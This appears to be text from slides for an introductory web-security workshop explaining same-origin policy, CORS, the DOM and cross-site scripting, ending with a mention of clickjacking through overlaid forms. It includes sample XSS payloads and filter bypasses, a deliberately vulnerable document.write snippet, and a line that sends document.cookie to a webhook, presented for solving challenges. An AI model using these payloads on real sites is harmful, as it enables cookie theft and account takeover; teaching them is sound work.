Cross Site Scripting (XSS)
(If you want feedback towards the end of this we can do this)
https://www.example.com:80
origin = scheme + host + port
http://www.example.com:80 > https://api.example.com:443
site = private_domain + public_suffix
So what are some restrictions on these Sites and Origins?
Browser feature! (1995)
Restricts getting resources to/from an external site
If you request something from another website, Same Origin Policy says that you cant access any of the resources because its only accessible on the same origin!
origin
are allowed to use the resourcesread more here
Old days of the interwebs.
But Jesse if we block all these requests to resources how do we get our cute cat photos?
CORS
Who has heard of this?
Obviously sometimes you need to access resources from another origin (e.g. using images, videos)
This can be achieved if the resource owner sets certain headers on the resource (more here)
For example:
This lets any origin load the resource
Access-Control-Allow-Origin: *
So SOP prevents us from loading resources. CORS allows specific origins to load specific resources.
For example, if I clicked someones malicious link, because of SOP, if the malicious website
sent a request to Bank.com
, the request would be blocked!
IM SAFE!
Html is basically just a bunch of tags that look like this:
<div>
<p>stuff</p>
</div>
We have seen this alot in our developer tools!
The elements
part of the devtools is called the DOM!
<s>
?<div></div>
<img src=.../>
<script>...</script>
<script>
const pos = document.URL.indexOf("context=") + 8;
document.write(document.URL.substring(pos, document.URL.length));
</script>
<script>
tags// event-handlers
<img src=x onerror="alert(1)"/>
// injecting into javascript code
const a = '<user_input>'
// and much more
it’s any time you get user supplied input in a javascript context
<img onerror=...>
!!IMPORTANT!!<body onload=...>
!!IMPORTANT!!<SCRscriptIPT>
<ScRiPt>
How do you solve these challenges?
requestbin/webhooks
<script>fetch("webhookurl?"+ document.cookie)</script>
MY COOKIES!!!
Oh well.
no
yes
read more here
<form method="POST" >
A fake form sitting under a real form
if you try to interact with the fake form, you’ll accidentally interact with the real one.
This could be either local, or external